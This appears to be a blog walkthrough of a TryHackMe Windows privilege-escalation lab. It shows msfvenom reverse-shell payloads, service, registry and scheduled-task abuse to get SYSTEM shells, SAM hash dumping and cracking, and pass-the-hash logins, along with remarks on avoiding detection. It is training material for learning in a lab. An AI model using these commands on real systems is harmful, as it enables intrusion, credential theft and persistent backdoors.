In this room we will learn some basic Windows privilege escalation techniques, as with the Linux PrivEsc room, these can come in handy if you have gained a shell but need a higher privilege to get SYSTEM (the Linux-equivalent to root)
Task 2 – Generate a Reverse Shell Executable
This task gets us to generate a Windows x64 reverse shell and transfer it onto the target box… this will be used in later tasks to provide reverse SYSTEM shells.
- On our (attack) box:
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=31337 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe
❯ sudo smbserver.py tools .
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.1.39,49734)
[*] AUTHENTICATE_MESSAGE (WIN-QBA94KB3IOF\user,WIN-QBA94KB3IOF)
[*] User WIN-QBA94KB3IOF\user authenticated successfully
[*] user::WIN-QBA94KB3IOF:aaaaaaaaaaaaaaaa:2b0299aefb4e54d9174a2bde1ecff451:0101000000000000001767b29be1d701fbca68d6b912293d0000000001001000470047004900750062005000760071000300100047004700490075006200500076007100020010006b0063004e0074007000590077004800040010006b0063004e007400700059007700480007000800001767b29be1d70106000400020000000800300030000000000000000000000000200000099be043dc25c962d29a9c0deee7d134d4500f365300d7bfddab0f8a9d2e28b40a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e0039002e0032002e00320030003100000000000000000000000000
[-] Unknown level for query path info! 0x109
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:TOOLS)
[*] Closing down connection (10.10.1.39,49734)
[*] Remaining connections []
- On the "victim" (target) box:
C:\Users\user>copy \\10.9.2.201\tools\reverse.exe .
1 file(s) copied.
C:\Users\user>move reverse.exe c:\PrivEsc
1 file(s) moved.
- Let’s make sure it works – run
reverse.exe
on the target while we listen to the port on our attack box:
❯ nc -lnvp 31337
Connection from 10.10.1.39:49770
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\PrivEsc>whoami
whoami
win-qba94kb3iof\user
NOTE: this is only running as the default "user" – in the tasks below we will be aiming for SYSTEM level access… 😉
Task 3 – Service Exploits – Insecure Service Permissions
Checking service permissions can be very useful for PrivEsc… especially if you have the ability to change their configuration, and they are run by SYSTEM.
- Use the included
accesschk.exe
to check the "user" account’s permissions on the "daclsvc" service:
C:\PrivEsc>accesschk /accepteula -uwcqv user daclsvc
RW daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
NOTE: notice the
SERVICE_CHANGE_CONFIG
permission? This allows us to change the configuration of the service.
- Query the "daclsvc" service and note that it runs with SYSTEM privileges (look for
SERVICE_START_NAME
at the very bottom):
C:\PrivEsc>sc qc daclsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: daclsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\DACL Service\daclservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DACL Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
- To exploit, we simply modify the "binpath" variable for the "daclsvc" service and point it to our
reverse.exe
:
C:\PrivEsc>sc config daclsvc binpath="\"C:\PrivEsc\reverse.exe\""
[SC] ChangeServiceConfig SUCCESS
- Then we try to start the "daclsvc" service, with netcat listening on our attack box:
C:\PrivEsc>net start daclsvc
The service is not responding to the control function.
More help is available by typing NET HELPMSG 2186.
- Meanwhile, on our attack box… :
❯ nc -lnvp 31337
Connection from 10.10.1.39:49810
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
NOTE: notice how we are now using
nt authority\system
– this is the equivalent to Linuxes "root".
What is the original BINARY_PATH_NAME of the daclsvc service?
Task 4 – Service Exploits – Unquoted Service Path
Unquoted Service Paths are another great PrivEsc trick, if you can find the right service!
Unquoted Service Paths are services running in directories with spaces, but the path is not wrapped in "
double-quote marks. If they are running as SYSTEM and we can write to the folders before the actual service executable, we can easily get ourselves a system shell.
- First, lets use
sc qc
to query the "unquotedsvc" service:
C:\PrivEsc>sc qc unquotedsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: unquotedsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Unquoted Path Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Spaces, no quotes, runs as SYSTEM… check, check, CHECK!
- Let’s check if we can write to the
"C:\Program Files\Unquoted Path Service\"
folder:
C:\PrivEsc>C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
Looks good – the BUILTIN\Users
group can write to this folder!
Windows and "unquoted" path handling.
Windows handles unquoted service paths with spaces in a rather weird but "workable" way, so if the creator of the service forgot to quote the path, it tries to "find" the service by going up the tree trying executables in the following pattern:
C:\Program.exe
(because the first directory is"Program Files"
)C:\Program Files\Unquoted.exe
(the next directory is"Unquoted Path Service"
)C:\Program Files\Unquoted Service Path\Common.exe
(the next directory is"Common Files"
)C:\Program Files\Unquoted Service Path\Common Files\unquotedpathservice.exe
(we hit the end of the chain, it’s trying to run the actual service!)
As you can see, it will try to run an executable named with the first word of the folder, ending in .exe
, then it will look for the folder with spaces as it was provided, and climb it’s way up the directory tree until something runs. We can exploit this with the correct write permissions in the right folder… but there is some things to
Permissions will 99% of the time wipe out the 1st step… by default only Administrator can write to the root folder of C:\
. The 2nd step, while potentially a better chance of having the permission to write to that folder, in relation to being discreet it’s a bad choice – a floating .exe
file in C:\Program Files\
would stick out to anyone curious.
In our situation this only leaves the 3rd step, because the 4th points at the service executable itself, and chances are you won’t have the access to overwrite a service executable directly (though, when you do we will cover this method later) – even if you can, it’s always better to leave any original service executables intact so that it is harder to be detected.
- So knowing we can write to the
C:\Program Files\Unquoted Path Service\
folder, and that Windows will try to runCommon.exe
in this folder, lets copy ourreverse.exe
shell to the folder and call itCommon.exe
:
C:\PrivEsc>copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
1 file(s) copied.
- Now lets try starting the service!:
C:\PrivEsc>net start unquotedsvc
- … and on our attack box:
❯ nc -lnvp 31337
Connection from 10.10.218.228:49725
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
What is the BINARY_PATH_NAME of the unquotedsvc service?
Task 5 – Service Exploits – Weak Registry Permissions
Weak registry Permissions are yet another PrivEsc method that we could potentially use. This requires a service with SYSTEM privileges, and a registry key that we can write to… modifying the registry value ImagePath
we can point it to our backdoor and get SYSTEM to run our reverse shell rather than the intended service.
- Using
sc qc
, query the "regsvc" service:
C:\PrivEsc>sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Insecure Registry Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Yes, it runs as SYSTEM!
- Now let’s see if we can actually modify the registry key we need to – all services that store their settings in the registry store it in
HKLM\System\CurrentControlSet\Services\<servicename>
:
C:\PrivEsc>C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
HKLM\System\CurrentControlSet\Services\regsvc
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
KEY_ALL_ACCESS
RW BUILTIN\Administrators
KEY_ALL_ACCESS
RW NT AUTHORITY\INTERACTIVE
KEY_ALL_ACCESS
Note the last 2 lines – RW
stands for Read/Write access, and NT AUTHORITY\INTERACTIVE
is a group any user that has desktop access has access to (therefore, this access level would not be useful for initial access gained via a webserver account, etc.)
- We can check what value and value type we need to modify by using
reg query
on the registry key:
C:\PrivEsc>reg query HKLM\SYSTEM\CurrentControlSet\services\regsvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\regsvc
Type REG_DWORD 0x10
Start REG_DWORD 0x3
ErrorControl REG_DWORD 0x1
ImagePath REG_EXPAND_SZ "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
DisplayName REG_SZ Insecure Registry Service
ObjectName REG_SZ LocalSystem
This tells us that the value is ImagePath
and the value type is REG_EXPAND_SZ
(all service registry keys will be the same layout)
- Since we have access, lets modify the
/v
flag with the valueImagePath
, the/t
value withREG_EXPAND_SZ
(as we found on the previous step) of theregsvc
key with the path to our reverse shell:
C:\PrivEsc>reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
The operation completed successfully.
- Lets start the service…:
C:\PrivEsc>net start regsvc
- … and watch our attack box!:
❯ nc -lnvp 31337
Connection from 10.10.218.228:49863
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Task 6 – Service Exploits – Insecure Service Executables
Having direct write access to a service executable that runs as SYSTEM is a quick and dirty PrivEsc method… Dirty, because the way you exploit this is to overwrite the original service executable with the backdoor. This is going to be much easier to detect as the service will complain about not starting correctly in the system logs – pointing to the fact that someone has modified the service. This should be used as last-step PrivEsc, and in the real world on a pentest, should be avoided (but definitely reported!).
- First we check that the service "filepermsvc" is run by SYSTEM:
C:\PrivEsc>sc qc filepermsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: filepermsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\File Permissions Service\filepermservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : File Permissions Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
TICK!
- Now we check if we have access to write to the service executable file
filepermservice.exe
:
C:\PrivEsc>C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
C:\Program Files\File Permissions Service\filepermservice.exe
Medium Mandatory Level (Default) [No-Write-Up]
RW Everyone
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW WIN-QBA94KB3IOF\Administrator
FILE_ALL_ACCESS
RW BUILTIN\Users
FILE_ALL_ACCESS
TICK! (BUILTIN\Users
has RW
and FILE_ALL_ACCESS
).
- Now we simply overwrite the original service executable with our reverse shell (keeping the name
filepermservice.exe
) – the/Y
switch on thecopy
command will overwrite without asking:
C:\PrivEsc>copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
1 file(s) copied.
- Now we run the service…:
C:\PrivEsc>net start filepermsvc
- … SUCCESS!:
❯ nc -lnvp 31337
Connection from 10.10.240.74:49733
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Task 7 – Registry – AutoRuns
The registry has special keys that point to executables that should be run when the computer is first logged into. The HKEY_LOCAL_MACHINE
(a.k.a. HKLM
) tree is for all accounts on the current machine – so if we can modify any of those executables (or add our own value) then we can get a backdoor to start up whenever someone logs into the machine.
Although this is a PrivEsc method, it’s dirty – these registry keys are a common place to check for "badness", and overwriting apps that are meant to start up on a real-life system will set off flags to the user. That of course depends on how "switched on" the target user is… though there are ways and methods to make it a bit harder for the target to actually track down the executable of the backdoor itself (staging, obfuscation, etc).
Of course, the other obvious issue with this is you would actually have to wait for the admin to login to the machine, and any other users that log in will also trigger the backdoor and dump you into a "less" privileged shell (thats why running whoami
in the reverse shell is a good practice).
This is also a basic persistence method, but as above is not that hard to detect, and prone to being run as a non-SYSTEM account…
- Let’s look at what is currently stored in
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
:
C:\PrivEsc>reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SecurityHealth REG_EXPAND_SZ %windir%\system32\SecurityHealthSystray.exe
My Program REG_SZ "C:\Program Files\Autorun Program\program.exe"
That "My Program" value looks like a ripe target!
- But can we write to the file?
C:\PrivEsc>C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
AccessChk v4.02 - Check access of files, keys, objects, processes or services
Copyright (C) 2006-2007 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Program Files\Autorun Program\program.exe
Medium Mandatory Level (Default) [No-Write-Up]
RW Everyone
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW WIN-QBA94KB3IOF\Administrator
FILE_ALL_ACCESS
RW BUILTIN\Users
FILE_ALL_ACCESS
Bingo!
- Now we simply copy over the original executable with our
reverse.exe
shell:
C:\PrivEsc>copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
1 file(s) copied.
… and again, the big caveat is that this runs on startup – we have to wait for an admin to login before we can get the below result!
- WIN! 🙂
❯ nc -lnvp 31337
Connection from 10.10.240.74:49704
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
win-qba94kb3iof\admin
NOTE: In the notes of this task, it mentions that you have to reboot the VM and simply "start to login" by triggering an RDP connection to trigger the backdoor… this is not the case – you need to login correctly as it starts the backdoor (and other AutoRun apps) after the user sees a desktop.
Furthermore the shell you receive will depend on who logs in… as mentioned above, check
whoami
and jump out quickly and wait for an admin user (or use another PrivEsc method to upgrade the current shell).
Task 8 – Registry – AlwaysInstallElevated
AlwaysInstallElevated is a Windows Installer option (stored in the registry) that forces any installations to be installed by SYSTEM. We can use this as a PrivEsc method by getting it to try and install our backdoor masked as a Windows Installer .msi
file.
- First thing we have to do is see whether
AlwaysInstallElevated
is enabled:
C:\PrivEsc>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
C:\PrivEsc>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
It is! The value 0x1
is a binary value for on.
- MSFvenom will allow us to generate a reverse shell hidden in a Windows Installer with the
-f msi
switch, let’s generate our "installer":
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=31337 -f msi -o reverse.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: reverse.msi
- Now we transfer the
reverse.msi
installer onto our target:
C:\PrivEsc>copy \\10.9.2.201\tools\reverse.msi .
1 file(s) copied.
- Then we use
msiexec
to "quietly" run the backdoored installer:
C:\PrivEsc>msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
- Meanwhile on our attack box… PROFIT!:
❯ nc -lnvp 31337
Connection from 10.10.240.74:49804
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Task 9 – Passwords – Registry
Sometimes a registry search can find passwords stored in plaintext (or maybe even an easy to crack hash) – so searching the HKLM
tree of the registry can (sometimes) yield a result.
- To search the registry use the command below (
reg query
) using eitherHKLM
for theHKEY_LOCAL_MACHINE
tree orHKCU
for theHKEY_LOCAL_USER
tree, setting the/f
flag to what text you are searching for and/t
for the value type to search (REG_SZ
is equivalent to a "string" of text) and follow it with/s
:
C:\PrivEsc>reg query HKLM /f password /t REG_SZ /s
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0fafd998-c8e8-42a1-86d7-7c10c664a415}
(Default) REG_SZ Picture Password Enrollment UX
...
End of search: 258 match(es) found.
NOTE: expect a LOT of results!
- The result we were supposed to get is a place that Windows sometimes stores the logged in password in plain text – it is meant to be stored in the
HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon
key, but unfortunately Windows hasn’t stored it on this instance:
C:\PrivEsc>reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultDomainName REG_SZ
DefaultUserName REG_SZ admin
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0x75add2ed
ShutdownFlags REG_DWORD 0x80000027
AutoAdminLogon REG_SZ 0
AutoLogonSID REG_SZ S-1-5-21-3025105784-3259396213-1915610826-1001
LastUsedUsername REG_SZ admin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\AlternateShells
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\GPExtensions
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\UserDefaults
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon\VolatileUserMgrKey
NOTE: For this task, we will assume it did return the password, and it was
password123
- One way we can exploit this (rather than just logging in directly to the admin account) is to use
winexe
on our attack box:
❯ winexe -U 'admin%password123' //10.10.240.74 cmd.exe
GENSEC backend 'ATH5G' already registered
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
INTERNAL ERROR: Signal 11 in pid 1823419 (4.0.0alpha11-GIT-UNKNOWN)
Please read the file BUGS.txt in the distribution
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PANIC: internal error
BACKTRACE: 27 stack frames:
#0 winexe(call_backtrace+0x2d) [0x80756d]
#1 winexe(smb_panic+0x7e) [0x8076ae]
#2 winexe() [0x807956]
#3 /usr/lib/libc.so.6(+0x3cda0) [0x7f5112e37da0]
#4 /usr/lib/libc.so.6(+0x160547) [0x7f5112f5b547]
#5 /usr/lib/libc.so.6(+0x6cfd8) [0x7f5112e67fd8]
#6 /usr/lib/libc.so.6(+0x7dbe5) [0x7f5112e78be5]
#7 /usr/lib/libc.so.6(__asprintf_chk+0xa3) [0x7f5112f088c3]
#8 winexe(lp_get_parametric+0x124) [0x802c44]
#9 winexe(lp_parm_bool+0x1e) [0x802e0e]
#10 winexe(gensec_security_by_oid+0x56) [0x4fcf16]
#11 winexe(gensec_start_mech_by_oid+0x20) [0x4fcff0]
#12 winexe() [0x4b0e93]
#13 winexe(smb_composite_sesssetup_send+0x19b) [0x4b1a9b]
#14 winexe() [0x4b033e]
#15 winexe() [0x4b7245]
#16 winexe(packet_recv+0x1de) [0x53a1de]
#17 winexe() [0x7fc463]
#18 winexe(_tevent_loop_once+0x98) [0x7f9bf8]
#19 winexe(composite_wait+0x20) [0x54b150]
#20 winexe(dcerpc_pipe_connect_recv+0x18) [0x48c538]
#21 winexe(dcerpc_pipe_connect+0x30) [0x48c5b0]
#22 winexe(svc_pipe_connect+0x84) [0x47ed94]
#23 winexe(svc_install+0x34) [0x47f5f4]
#24 winexe(main+0x29c) [0x47d7ec]
#25 /usr/lib/libc.so.6(__libc_start_main+0xd5) [0x7f5112e22b25]
#26 winexe(_start+0x29) [0x47d8c9]
[1] 1823419 abort (core dumped) winexe -U 'admin%password123' //10.10.240.74 cmd.exe
NOTE: Yes… that didn’t work, but it could easily be my box that is the issue…
root@kali:~# winexe -U 'admin%password123' //10.10.119.24 cmd.exe
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
win-qba94kb3iof\admin
What was the admin password you found in the registry?
Task 10 – Passwords – Saved Creds
Saved Credentials can be a quick and easy PrivEsc method.
- List any saved credentials using
cmdkey /list
:
C:\PrivEsc>cmdkey /list
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
The second result is "admin"! We have the admin accounts creds saved!
- To run our reverse shell as the "admin" account, use
runas
with/savecred
and/user:admin
to run the given executable (C:\PrivEsc\reverse.exe
in this case):
C:\PrivEsc>runas /savecred /user:admin C:\PrivEsc\reverse.exe
Attempting to start C:\PrivEsc\reverse.exe as user "WIN-QBA94KB3IOF\admin" ...
- Meanwhile over on our attack box…:
❯ nc -lnvp 31337
Connection from 10.10.119.24:49747
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
win-qba94kb3iof\admin
Task 11 – Passwords – Security Account Manager (SAM)
If you can get hold of the SAM
and SYSTEM
file off the target then we can extract the hashes and crack them with our favourite Ripper named John.
This VM has them insecurely backed up these files to the folder C:\Windows\Repair
- Transfer the
SYSTEM
andSAM
files to your attack box:
copy C:\Windows\Repair\SAM \\10.9.2.201\tools\
copy C:\Windows\Repair\SYSTEM \\10.9.2.201\tools\
- Using
pwdump.py
(see below for quick installation instructions – my blackarch copy did not dump the hashes correctly, but the newest version from Git does!)
❯ python3 pwdump.py ../tryhackme/win_privesc/SYSTEM ../tryhackme/win_privesc/SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
- Transfer the dumped hashes to a text file, and run it through John:
❯ john hash.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Remaining 3 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (admin)
Passw0rd! (Administrator)
2g 0:00:00:01 DONE (2021-11-25 16:26) 1.652g/s 11854Kp/s 11854Kc/s 12087KC/s markinho..*7¡Vamos!
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
- We can use the harvested creds to either RDP and take control of their desktop, or alternatively use
winexe
to remotely runcmd.exe
… e.g.:
winexe -U 'Administrator%Passw0rd!' //10.10.119.24 cmd.exe
What is the NTLM hash of the admin user?
Task 12 – Passwords – Passing the Hash
Why crack a password when we can use the hash itself to gain access?
Use the "admin" full hash with pth-winexe
to spawn a shell running as admin without needing to crack the password.
NOTE: the "full" hash is both the LM and NT parts of the hash seperated by a
:
colon – e.g.: xxxx**:**yyyy (where xxxx is LM and yyyy is NT)
root@kali:~# pth-winexe -U 'admin%password123' //10.10.119.24 cmd.exe
E_md4hash wrapper called.
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
NOTE: strangely it never asked me for the actual hash? WTF?!
ALTERNATIVE – Evil-WinRM (Windows Server Editions ONLY)
Evil-WinRM will allow you to also spawn a remote "hacked" WinRM shell (with some extra juicy commands) by simply supplying the NT hash, account and IP… along with many other features this app has!
For more info on Evil-WinRM visit their GitHub – https://github.com/Hackplayers/evil-winrm
- To check what variant of Windows the target is running:
C:\PrivEsc>systeminfo
Host Name: WIN-QBA94KB3IOF
OS Name: Microsoft Windows Server 2019 Standard Evaluation
OS Version: 10.0.17763 N/A Build 17763
- Since this box IS running Windows Server, why not!:
❯ evil-winrm -i 10.10.194.139 -u admin -H a9fdfa038c4b75ebc76dc855dd74f0da
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\admin\Documents> whoami
win-qba94kb3iof\admin
Task 13 – Scheduled Tasks
Scheduled Tasks are tasks that Windows runs at given intervals of time, much like the Linux alternative cron. Also, much like the Linux derivative, incorrectly secured Scheduled Tasks can be exploited to not only PrivEsc, but can be a handy method for persistence as well.
- Lets look at the source code of
C:\DevTools\CleanUp.ps1
:
C:\PrivEsc>type C:\DevTools\CleanUp.ps1
# This script will clean up all your old dev logs every minute.
# To avoid permissions issues, run as SYSTEM (should probably fix this later)
Remove-Item C:\DevTools\*.log
- According to the comment, this script runs every minute and as SYSTEM! Let’s check that we can actually write to the file:
C:\PrivEsc>C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
RW C:\DevTools\CleanUp.ps1
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_APPEND_DATA
FILE_EXECUTE
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
- Let’s just replace the contents of CleanUp.ps1 with our
reverse.exe
reverse shell:
C:\PrivEsc>echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
- Not even a minute later… back on our attacking box:
❯ nc -lnvp 31337
Connection from 10.10.194.139:49815
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
To check Scheduled Tasks from cmd
- To check what Scheduled Tasks are running on the target system via a
cmd.exe
shell, simply use the commandschtasks
:
C:\PrivEsc>schtasks
Folder: \
TaskName Next Run Time Status
======================================== ====================== ===============
SaveCred N/A Ready
...
C:\PrivEsc>
NOTE: The scheduled task in question does not show up when searching from the
user
account… because it is ran by a SYSTEM account, you need elevated privileges to see it and look at any information on the task.
- To list Scheduled Tasks in PowerShell:
PS C:\Windows\system32> Get-ScheduledTask
TaskPath TaskName State
-------- -------- -----
\ Amazon Ec2 Launch - Instance I... Disabled
\ CleanUp Ready
\ LPE Ready
\ SaveCred Ready
- Get basic information on the Scheduled Task:
PS C:\Windows\system32> Get-ScheduledTaskInfo CleanUp
LastRunTime : 11/24/2021 10:34:34 PM
LastTaskResult : 0
NextRunTime : 11/24/2021 10:35:35 PM
NumberOfMissedRuns : 0
TaskName : CleanUp
TaskPath :
PSComputerName :
- Get the Scheduled Task "Actions" – this stores what command is run!:
PS C:\Windows\system32> $task = Get-ScheduledTask | where TaskName -EQ 'CleanUp'
PS C:\Windows\system32> $task.Actions
Id :
Arguments : -exec bypass -nop C:\DevTools\CleanUp.ps1
Execute : powershell.exe
WorkingDirectory :
PSComputerName :
- So looking at the above, we can tell that the
CleanUp
scheduled task runs every minute by comparing theLastRunTime
andNextRunTime
(as mentioned in the task by the author), and executes the following command:
powershell.exe -exec bypass -nop C:\DevTools\CleanUp.ps1
Task 14 – Insecure GUI Apps
